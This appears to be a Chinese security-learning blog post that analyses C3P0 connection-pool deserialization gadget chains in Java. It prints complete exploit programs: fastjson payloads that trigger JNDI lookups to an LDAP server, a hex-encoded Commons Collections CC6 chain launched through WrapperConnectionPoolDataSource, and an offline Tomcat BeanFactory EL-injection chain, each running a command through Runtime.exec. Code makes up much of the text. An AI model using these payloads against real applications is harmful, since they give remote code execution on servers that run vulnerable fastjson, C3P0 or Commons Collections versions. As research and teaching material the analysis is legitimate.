前言:

仍然是基础!!!

C3P0概述:

在看到标题之前大部分人可能都不知道C3P0是什么东西,但实际上他就是一个开源的JDBC连接池,主要实现的就是数据源和JNDI绑定,目前比较知名的使用他的有Spring和Hibernate等

那可能又有人问JDBC是什么?

JDBC英文全称:Java DataBase Connectivity,是java程序访问数据库的标准接口,毕竟java不可能通过TCP去连接数据库~

那什么是jdbc连接池,在开发情况中,我们可能会频繁的操作数据库,而这就相当于会频繁的创建或销毁句柄,这样就会增大资源的消耗。而连接池就是我们提前写好一些句柄,使用的时候拿出来用,不用的时候放到连接池中,准备下次使用~

C3P0 反序列化漏洞

环境:

jdk8u65

pom.xml:

C3P0 常见的利用方式

  1. URLClassLoader远程类加载
  2. JNDI注入
  3. 以及利用HEX序列化字节加载器进行反序列化攻击(之前从未听说过)

URLClassLoader远程类加载:

PoolBackedDataSourceBase.readObject想要进到getObject中必须要满足传入的类是IndirectlySerialized 这个类

进行完这个判断之后调用getObject方法的类从原本的PoolBackedDataSourceBase变成了ConnectionPoolDataSource

但是跟进去发现这是一个接口,没有继承Serializable

那这里就没办法了,所以我们去看一下PoolBackedDataSourceBase的writeObject(也就是序列化),发现他在检测到无法反序列化的时候,会用indirector封装一层

这里我们如果直接跟indirectForm,会发现什么都没有,仔细看一下代码我们可以发现代码中的indirector是ReferenceIndirector

所以我们先跟到ReferenceIndirector中搜索indirectForm看一下,发现会返回一个ReferenceSerialized像是继承了反序列化的

但是跟进去看一下会发现他是一个构造函数,但他继承了IndirectlySerialized,发现他继承了serializable

至此,流程就走完了,看似我们的外表是ConnectionPoolDataSource,但实际上已经是ReferenceSerialized(就是indirectForm return的那个类)

所以其实整个流程还是较为简单的,下面放一下完整的exp

C3P0 之 JNDI 注入

在上面的分析中不知道有没有人注意到一个lookup的方法,看到这个方法第一时间想到的肯定是jndi注入,而这个方法就是在ReferenceIndirector.getObject()里面

但是我们发现虽然有这个函数,但是contextName似乎无法控制,跟进去发现他是一个内部类的属性值,这就很难修改了,所以这其实是一条假的jndi注入哈哈,就是给看看坑

真正的jndi注入链是基于fastjson的,可以算是fastjson中的链吧

这里我们可以从漏洞发现者的思维去寻找,先全局搜一下jndi,点开第一个类JndiRefForwardingDataSource中的dereference方法

然后全局搜一下lookup,在112行和114行发现了一个lookup且参数名是jndiname,那肯定要去看一看这个jndiname能不能想办法控制

跟进去看一下发现jndiName 是由 this.getJndiName() 获得的

所以再看一下getJndiName方法,发现这个方法他判断若jndiname是name类型,就返回((Name) jndiName).clone(),若不是就返回String

回去看一下dereference,发现他刚好允许我们传入String参数

那这时候链子的尾部就已经构造好了,只要向上找能利用的就行

同类中的inner函数调用了该方法,所以再找inner的向上调用

这里发现很多setter/gettter方法,看到这里其实就已经满足fastjson的利用条件了

找一个最简单的只需要传入一整数就可以的JndiRefForwardingDataSource中的setLoginTimeout方法

最终exp:

1
2
3
4
5
6
7
8
9
10
import com.alibaba.fastjson.JSON;  

// JndiRefForwardingDataSource 类的直接 EXP 调用
public class JndiForwardingDataSourceEXP {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\"," +
"\"jndiName\":\"ldap://127.0.0.1:1230/remoteObject\",\"LoginTimeout\":\"1\"}";
JSON.parse(payload);
}
}

其实这里还能继续向上找,因为这个JndiRefForwardingDataSource是一个default类,相对于public类的利用面会小一点,就是在JndiRefConnectionPoolDataSource 当中,大家可以去尝试一下,和上一个相差无几

1
2
3
4
5
6
7
public class JndiRefConnectionPoolDataSourceEXP {  
public static void main(String[] args) {
String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," +
"\"jndiName\":\"ldap://127.0.0.1:1230/remoteObject\",\"LoginTimeout\":\"1\"}";
JSON.parse(payload);
}
}

C3P0 之 hexbase 攻击利用

这种攻击方法成立的e原因就是有一个WrapperConnectionPoolDataSource 类,他能反序列化一串十六进制字符串

链子的头部在WrapperConnectionPoolDataSource类中的构造函数

看构造函数发现在给userOverrides赋值的时候会调用C3P0ImplUtils.parseUserOverridesAsString()方法

跟进去看看发现,他将hex字符串读进来之后,首先把把字符串头部的HASM_HEADER截掉了,以及会截掉字符串最后一位

继续看,发现把转码后的结果保存到serbytes这个字节流当中,然后又对字节流执行SerializableUtils.fromByteArray()方法

跟到fromByteArray函数中看一下,发现他调用了SerializableUtils#deserializeFromByteArray

跟进去发现反序列化操作—-readobject

所以这个很简单,直接用以前的cc链作为主要攻击链即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
package hexBase;  

import com.alibaba.fastjson.JSON;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.beans.PropertyVetoException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.StringWriter;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class HexBaseFastjsonEXP {

//CC6的利用链
public static Map CC6() throws NoSuchFieldException, IllegalAccessException {
//使用InvokeTransformer包装一下
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five")); // 防止在反序列化前弹计算器
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "value");
lazyMap.remove("key");

// 在 put 之后通过反射修改值
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);

return expMap;
}


static void addHexAscii(byte b, StringWriter sw)
{
int ub = b & 0xff;
int h1 = ub / 16;
int h2 = ub % 16;
sw.write(toHexDigit(h1));
sw.write(toHexDigit(h2));
}

private static char toHexDigit(int h)
{
char out;
if (h <= 9) out = (char) (h + 0x30);
else out = (char) (h + 0x37);
//System.err.println(h + ": " + out);
return out;
}

//将类序列化为字节数组
public static byte[] tobyteArray(Object o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bao);
oos.writeObject(o);
return bao.toByteArray();
}

//字节数组转十六进制
public static String toHexAscii(byte[] bytes)
{
int len = bytes.length;
StringWriter sw = new StringWriter(len * 2);
for (int i = 0; i < len; ++i)
addHexAscii(bytes[i], sw);
return sw.toString();
}

public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException {
String hex = toHexAscii(tobyteArray(CC6()));
System.out.println(hex);

//Fastjson<1.2.47
String payload = "{" +
"\"1\":{" +
"\"@type\":\"java.lang.Class\"," +
"\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" +
"}," +
"\"2\":{" +
"\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
"\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
"}" +
"}";
JSON.parse(payload);


}
}

C3P0链子不出网利用

上面的urlclassloader加载远程类和jndi注入都需要目标机器出网,虽然说hexbase攻击方法可以不出网,但是前面分析的parseUserOverridesAsString所传入的参数是一个get方法,所以使用fastjson会方便很多,也就导致了对fastjson的版本有要求

在之前学习jndi注入的时候我们讨论过高版本利用就是可以加载本地的factory类进行工作,但是有要求就是该工厂类至少存在一个getObjectInstance()方法,比如说可以加载tomcat8中的org.apache.naming.factory.BeanFactory来进行EL表达式注入

导入依赖:

1
2
3
4
5
6
7
8
9
10
<dependency>  
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.15</version>
</dependency>

接下来就是要选一条可以不出网利用的且限制较少的链子,其实之前的urlclassloader的链子就可以利用,只需要给之前的exp修改一下就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
package NoNetUsing;  

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class NoAccessEXP {

public static class Loader_Ref implements ConnectionPoolDataSource, Referenceable {

@Override
public Reference getReference() throws NamingException {
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
resourceRef.add(new StringRefAddr("forceString", "faster=eval"));
resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc\")"));
return resourceRef;
}

@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}

@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}

@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}

@Override
public void setLogWriter(PrintWriter out) throws SQLException {

}

@Override
public void setLoginTimeout(int seconds) throws SQLException {

}

@Override
public int getLoginTimeout() throws SQLException {
return 0;
}

@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}

//序列化
public static void serialize(ConnectionPoolDataSource c) throws NoSuchFieldException, IllegalAccessException, IOException {
//反射修改connectionPoolDataSource属性值
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
Class cls = poolBackedDataSourceBase.getClass();
Field field = cls.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(poolBackedDataSourceBase,c);

//序列化流写入文件
FileOutputStream fos = new FileOutputStream(new File("ser.bin"));
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(poolBackedDataSourceBase);

}

//反序列化
public static void unserialize() throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream(new File("ser.bin"));
ObjectInputStream objectInputStream = new ObjectInputStream(fis);
objectInputStream.readObject();
}

public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
Loader_Ref loader_ref = new Loader_Ref();
serialize(loader_ref);
unserialize();
}
}

总结:

实战环境中c3p0的包(com.mchange.c3p0)是除cc和cb以外最多的jar包,一部分是被org.quartz-scheduler:quartz 依赖所带进来的